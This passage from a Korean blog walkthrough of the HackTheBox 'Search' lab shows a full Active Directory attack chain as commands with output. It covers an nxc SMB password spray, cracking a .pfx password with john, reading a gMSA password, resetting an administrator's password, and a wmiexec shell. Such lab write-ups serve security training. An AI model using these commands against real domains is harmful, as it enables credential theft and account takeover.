  adding: docProps/ (stored 0%)
  adding: docProps/app.xml (deflated 52%)
  adding: docProps/core.xml (deflated 47%)
  adding: Phishing_Attempt.xlsx (deflated 23%)
 

 

그리고 libreoffice로 다시 파일을 열어주면

이번엔 C셀을 볼 수가 있습니다.

 

유저정보를 알았으니 이제 이것을 리스트업 해서

실제 유효한 정보인지 확인해줄 필요가 있겠죠

 

┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat users.txt                                                        
Payton.Harmon
Cortez.Hickman
Bobby.Wolf
Margaret.Robinson
Scarlett.Parks
Eliezer.Jordan
Hunter.Kirby
Sierra.Frye
Annabelle.Wells
Eve.Galvan
Jeramiah.Fritz
Abby.Gonzalez
Joy.Costa
Vincent.Sutton
                                                                                                                                                                                 
┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat pass.txt   
;;36!cried!INDIA!year!50;;
..10-time-TALK-proud-66..
??47^before^WORLD^surprise^91??
//51+mountain+DEAR+noise+83//
++47|building|WARSAW|gave|60++
!!05_goes_SEVEN_offer_83!!
~~27%when%VILLAGE%full%00~~
$$49=wide=STRAIGHT=jordan=28$$18
==95~pass~QUIET~austria~77==
//61!banker!FANCY!measure!25//
??40:student:MAYOR:been:66??
&&75:major:RADIO:state:93&&
**30*venus*BALL*office*42**
**24&moment&BRAZIL&members&66**
 

 

우리가 해줄 것은 1번째 사용자에 대해서 저 패스워드 목록을

전체 때려넣는 게 아니라

1번째 레코드는 1번째 레코드와 매칭시켜줄 것이기 때문에

nxc의 --no-bruteforce 플래그를 사용해줍니다.

실제로 만약 이 플래그를 사용하지 않는다면 실무에서는

계정이 잠길 위험이 있죠

 

nxc smb 10.10.11.129 -u users.txt -p pass.txt --no-bruteforce --continue-on-success
 

이 명령을 통해서 계정정보 일치하는 목록을 빼옵니다.

그러면 Sierra라는 계정에서 패스워드가 일치하는 것이 확인됩니다.

 

SMB         10.10.11.129    445    RESEARCH         [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Payton.Harmon:;;36!cried!INDIA!year!50;; STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Cortez.Hickman:..10-time-TALK-proud-66.. STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Bobby.Wolf:??47^before^WORLD^surprise^91?? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Margaret.Robinson://51+mountain+DEAR+noise+83// STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Scarlett.Parks:++47|building|WARSAW|gave|60++ STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Eliezer.Jordan:!!05_goes_SEVEN_offer_83!! STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Hunter.Kirby:~~27%when%VILLAGE%full%00~~ STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Annabelle.Wells:==95~pass~QUIET~austria~77== STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Eve.Galvan://61!banker!FANCY!measure!25// STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Jeramiah.Fritz:??40:student:MAYOR:been:66?? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Abby.Gonzalez:&&75:major:RADIO:state:93&& STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Joy.Costa:**30*venus*BALL*office*42** STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Vincent.Sutton:**24&moment&BRAZIL&members&66** STATUS_LOGON_FAILURE 
 

 

블러드하운드를 통해 확인해보면 이 계정은 BIR-ADFS-GMSA 계정에 대해

ReadGMSAPassword 권한이 존재합니다.

이 권한에 대한 정보는 다음 포스팅을 참고합니다.

https://blog.naver.com/diary_yw/223631870117

 

우선은 우리가 할 수 있는 것은 원격쉘도 없으므로

Sierra 계정으로 SMB에 다시 접속을 해봅니다.

mount -t cifs //10.10.11.129/RedirectedFolders$ /mnt/smbshare -o username=Sierra.Frye
 
┌──(root㉿kali)-[/mnt/smbshare]
└─# find . -type f  2>/dev/null
./sierra.frye/Desktop/$RECYCLE.BIN/desktop.ini
./sierra.frye/Desktop/desktop.ini
./sierra.frye/Desktop/Microsoft Edge.lnk
./sierra.frye/Desktop/user.txt
./sierra.frye/Documents/$RECYCLE.BIN/desktop.ini
./sierra.frye/Documents/desktop.ini
./sierra.frye/Downloads/$RECYCLE.BIN/desktop.ini
./sierra.frye/Downloads/Backups/search-RESEARCH-CA.p12
./sierra.frye/Downloads/Backups/staff.pfx
./sierra.frye/Downloads/desktop.ini
./sierra.frye/user.txt
 

 

드디어 유저 플래그를 획득할 수가 있네요

그리고 잠겨있던 Sierra 계정에선 staff.pfx 파일이 존재합니다.

아까전에 403 상태코드가 반환되었던 staff라는 디렉토리가 존재했는데

이제 이 디렉토리에 pfx 파일을 통해서 접근이 가능하겠네요

 

┌──(root㉿kali)-[/mnt/smbshare/sierra.frye/Desktop]
└─# cat user.txt                                                         
c16bed55ab35c61d13d30e32084b27e5
 

우선 유저 플래그를 획득해줍니다.

pfx 파일에서는 개인키, 비밀키, 인증서 등의 정보를 모두 가져올 수 있으며

이것 자체를 인증서로 사용하여 인증이 가능합니다.

https://m.post.naver.com/viewer/postView.naver?volumeNo=36212235&memberNo=2521903&searchKeyword=CSR&searchRank=38

 

 

브라우저의 인증서에서 이 staff.pfx 파일을 업로드 해줍니다.

하지만 업로드를 하려했는데 pfx 파일에 암호가 걸려있네요

보통 이런 경우가 흔하다고 합니다.

이것 역시 pfx2john을 사용해서 해쉬크래킹이 가능합니다.

 

pfx2john staff.pfx > hash
 
┌──(root㉿kali)-[~/Pentest/Machine]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
misspissy        (staff.pfx)     
1g 0:00:00:43 DONE (2024-10-29 23:51) 0.02316g/s 127045p/s 127045c/s 127045C/s mistel..missnono
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
 

 

암호는 misspissy 였네요

이제 다시 https 프로토콜로 staff 경로에 접속해보면

Windows PowerShell Web Access 창이 나옵니다.

 

Computer Name은 아까전에 ldapsearch를 통해서

확인했었습니다.

CN이 Computer Name이기 때문이죠

그래서 research가 됩니다.

 

Sierra 계정으로 접속했으니 당연히 유저는 Sierra입니다.

한편 Sierra 계정은 BIR 계정에 대해서 ReadGMSAPassword 권한이 있었죠

그래서 우리는 이 권한을 악용할 수 있습니다.

 

현재 Sierra 계정은 ITSEC의 그룹이자

BIR 계정에 대한 패스워드 읽기가 가능한데,

이 계정은 tristan 계정에 대해서 GenericAll 권한이 있습니다.

즉 tristan 계정을 마음대로 장악할 수 있다는 것입니다.

하지만 이 계정은 Administrator에 속해있기 때문에

사실상 이 계정을 장악하면 우리는 관리자 권한 탈취가 가능합니다.

GenericAll은 말 그대로 그 사용자처럼 행동할 할 수 있기 때문에

tristan 계정의 패스워드를 우리가 아는 것으로 변경하는 것 역시 가능합니다.

 

정리하면 다음과 같습니다.

 

  1. ITSEC의 ReadGMSAPassword 권한을 이용하여 BIR 계정의 패스워드를 가져온다.
  2. BIR 계정의 계정정보를 통해서 tristan 계정의 패스워드를 변경한다.

 

 

먼저 사용자 gMSA를 가져오고 그 사용자에 대한 정보를

변수에 담아줍니다.

 

$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
$mpl = ConvertFrom-ADManagedPasswordBlob $mp
$user = 'BIR-ADFS-GMSA$'
$password = $mpl.'CurrentPassword'
$secpass = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user, $secpass)
 

이렇게 하면 파워쉘에서 원격 사용자로 다른 사용자의 정보를 변경할 때

입력해야하는 크리덴셜 정보를 변수를 통해 입력이 가능합니다.

 

Invoke-Command -Computername 127.0.0.1 -ScriptBlock {Set-ADAccountPassword 
-Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString 
-AsPlainText 'password123!' -Force)} -Credential $cred
 

그 다음 BIR 권한으로 tristan 계정의 패스워드를 변경시키는 쿼리를 삽입하면

이제 tristan 계정의 패스워드는 password123!으로 변경되었습니다.

관리자 계정이므로 impacket의 wmiexec 모듈을 사용해서

원격 쉘 접속을 시도해줍니다.

 

┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-wmiexec 'search.htb/TRISTAN.DAVIES@10.10.11.129'                                
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Password:
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
search\tristan.davies

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\>
 

 

보다시피 관리자 권한을 가져서 모든 권한이 존재합니다.

마지막으로 루트 플래그를 획득해줍니다.

C:\>more C:\Users\Administrator\Desktop\root.txt
69edda27b2127ec618369251f146f4b9
 

 

 

'Penetration > HackTheBox' 카테고리의 다른 글

[HackTheBox] Resolute  (2) 2024.11.03
[HackTheBox] Blackfield  (1) 2024.10.30
[HackTheBox] Active  (0) 2024.10.29
[HackTheBox] Sauna  (1) 2024.10.29
[HackTheBox] Return  (2) 2024.10.17

관련글 더보기